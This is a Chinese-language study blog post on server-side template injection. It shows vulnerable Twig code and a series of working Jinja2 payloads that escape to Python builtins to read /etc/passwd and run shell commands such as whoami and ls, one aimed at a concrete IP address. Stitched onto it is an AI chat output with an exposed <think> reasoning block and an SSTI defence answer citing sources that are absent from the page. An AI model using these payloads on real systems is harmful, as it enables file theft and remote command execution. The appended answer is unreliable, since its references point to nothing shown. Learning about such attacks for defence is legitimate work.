模板注入学习

模板引擎:是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。

模板渲染:拿到数据,塞到模板里,然后让渲染引擎将塞进去的东西生成 html 的文本,返回给浏览器

好处:展示数据快,大大提升效率。

后端渲染:服务器计算好最终的html字符串发送给用户,即浏览器只需要进行html解析以及通过操作系统提供的操纵显示器显示内容的系统调用在显示器上把HTML所代表的图像显示给用户。

好处:模板统一在后盾,前端(相对)省事,不占用客户端运算资源(解析模板)
坏处:占用(部分、少部分)服务器运算资源、,response出的数据量会(稍)大点,模板改了前端的交互和样式什么的一样得跟着联动修改。

前端渲染:浏览器要将从服务器得到的各种信息组织排列(模板,数据,html字符串)成最终的html,并进行显示

好处:不占用服务器的计算资源(解析模板),模板在前端(很有可能仅部分在前端),改结构变交互都由前端自己来完成,比较方便
坏处:占用(一部分、少部分)客户端运算资源(解析模板)

数据如何传入取决于模板引擎
例如模板引擎smarty:
一个模板

   <html>

    <div>{$what}</div>

    </html>    

js代码

var tpl= new jSmart(tplStr);//tplStr就是模板的字符串。

var content = "Hello World";

tpl.fetch({what:content});

模板注入和 SQL 注入的产生原因有几分相似——都是将未过滤的数据传给引擎解析。
服务端模板注入可以让攻击者执行任意代码,而jQuery,KnockoutJS 产生的客户端模板只能 XSS。
注入原理

  <?php

    require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php';

    Twig_Autoloader::register(true);

    $twig = new Twig_Environment(new Twig_Loader_String());

    $output = $twig->render("Hello {{name}}", array("name" => $_GET["name"]));  // 将用户输入作为模版变量的值

    echo $output;

    ?>

这段代码使用Twig渲染页面,其中模板中的name变量值等于用户get提交的参数name的value。这段代码是否可以进行XSS?答案是不可以的:因为模板引擎在进行渲染的时候,会对渲染的变量的值进行编码和转义
在此处,还可以传入一些表达式赋值给name,如name={{7*7}}
但如果模板内容直接受到用户的控制

   <?php

    require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php';

    Twig_Autoloader::register(true);

    $twig = new Twig_Environment(new Twig_Loader_String());

    $output = $twig->render("Hello {$_GET['name']}");  // 将用户输入作为模版内容的一部分

    echo $output;    

    ?>

用户输入的内容将直接与模板拼接,很容易触发XSS
每个模板引擎都有自己的语法,所以payload的构造需要针对各类模板语法规则制定
在这里插入图片描述
Flask/Jinja2中的服务端模版注入

Flask是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用 Werkzeug ,模板引擎则使用 Jinja2

函数解析

__class__ 返回调用的参数类型
__bases__ 返回类型列表
__mro__ 此属性是在方法解析期间寻找基类时考虑的类元组
__subclasses__() 返回object的子类
__globals__ 函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价

获取基本类

''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[8] //针对jinjia2/flask为[9]适用

获取基本类后,继续向下获取基本类(object)的子类

object.__subclasses__()

python2
文件的读取和写入

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}  
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}    

任意执行

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}(这条指令可以注入,但是如果直接进入python2打这个poc,会报错,用下面这个就不会,可能是python启动会加载了某些模块)  
http://39.105.116.195/{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}(system函数换为popen('').read(),需要导入os模块)  
{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}(不需要导入os模块,直接从别的模块调用)

总结

通过某种类型(字符串:""list:[]int1)开始引出,__class__找到当前类,__mro__或者__base__找到__object__,前边的语句构造都是要找这个。然后利用object找到能利用的类。还有就是{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')}}这种的,能执行,但是不会回显。一般来说,python2的话用file就行,python3则没有这个属性。

python3
读文件:

http://127.0.0.1/{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('d://whale.txt').read()}}和python2的位置不一样,问题不大,挨个测试就能找出位置在在哪。  

一句指令任意执行:

{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}

参考文章
flask ssti python2和python3 注入总结和区别
SSTI模板注入
浅析SSTI(python沙盒绕过)

<think>好的,我现在需要处理用户关于SSTI(服务器端模板注入)漏洞的查询。用户想了解其原理及防御措施。首先,我要确保自己正确理解SSTI的基本概念。 根据引用[5],SSTI漏洞是因为服务端接收了用户的恶意输入后,未经处理就作为模板内容的一部分,导致模板引擎编译时执行了恶意代码。这点是关键,需要解释清楚。接下来,我需要说明原理,可能分步骤:用户输入被嵌入模板模板引擎处理时解析了恶意代码,导致攻击。例如,用户输入`{{7*7}}`如果返回49,说明存在漏洞。 然后,防御措施部分需要结合多个引用。引用[1]提到不要让用户控制模板内容,使用正规的渲染方法。引用[3]建议限制模板的访问权限,引用[2]提到输入验证、白名单过滤等。引用[5]提到不同语言的常见模板引擎,可能需要具体说明防御措施适用于这些引擎。 需要注意用户要求回答结构清晰,分点说明。可能先讲原理,再讲防御,每个部分用条目列出。同时,确保使用正确的中文术语,避免技术术语错误。 可能的问题点:是否遗漏了某些防御措施?比如引用[4]提到的靶场练习,虽然重要,但可能属于实践部分,不是直接的防御措施。需要确认是否需要包含。 另外,用户提供的引用中有重复的内容,需要整合。例如,输入验证、白名单、限制访问、使用安全模板方法等。需要将这些综合起来,分点说明。 最后,生成相关问题,需围绕SSTI漏洞,比如不同引擎的利用方式、检测方法、案例等。确保问题相关且有助于用户进一步学习。 总结步骤:1. 解释SSTI原理,2. 详细说明防御措施,3. 生成相关问题。需要引用正确的来源,并在回答末尾添加引用标识。</think>### SSTI(服务器端模板注入)漏洞原理及防御措施 #### **一、原理** 1. **漏洞成因** SSTI漏洞是由于服务端将用户的恶意输入直接嵌入模板中,未经处理即由模板引擎解析执行。例如,用户输入如`{{7*7}}`,若返回`49`则表明模板引擎执行了该表达式,漏洞存在[^5]。 $$ \text{恶意代码} \rightarrow \text{模板引擎解析} \rightarrow \text{执行危险操作} $$ 2. **攻击流程** - 攻击者通过参数、表单等提交包含模板语法的恶意输入(如`{{config}}`)。 - 服务端错误地将输入拼接到模板中,模板引擎将其视为合法代码编译执行。 - 攻击者可读取敏感数据(如数据库密码)、执行系统命令,甚至控制服务器[^2][^5]。 3. **影响范围** 漏洞危害程度取决于模板引擎的功能复杂度。例如: - **Python(Jinja2)**:可通过`{{''.__class__.__mro__}}`访问类方法。 - **PHP(Twig)**:可能利用`{{_self.env.registerUndefinedFilterCallback("exec")}}`执行命令。 --- #### **二、防御措施** 1. **输入过滤与验证** - 对用户输入进行**严格白名单过滤**,禁止包含模板语法字符(如`$`、`{{}}`)。 - 使用正则表达式检测危险符号,例如匹配`\{\{.*\}\}`并拦截[^2]。 2. **安全的模板渲染方法** - 避免直接拼接用户输入到模板,改用**上下文变量传递**。例如在Flask中: ```python return render_template("index.html", content=user_input) # 安全:变量通过上下文传递 ``` 而非`render_template_string(user_input)`[^1][^5]。 3. **最小化模板引擎权限** - 禁用模板引擎的危险功能,如Jinja2的`{% debug %}`或访问内置对象(如`__builtins__`)。 - 配置模板沙箱环境,限制文件读写和系统调用[^4]。 4. **访问控制与审计** - **限制模板文件修改权限**,仅允许管理员或可信用户操作[^3]。 - 定期进行**安全审计**,检查模板渲染逻辑是否存在注入风险。 5. **框架与组件更新** - 及时升级模板引擎版本,修复已知漏洞(如Jinja2旧版本的沙箱逃逸问题)。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值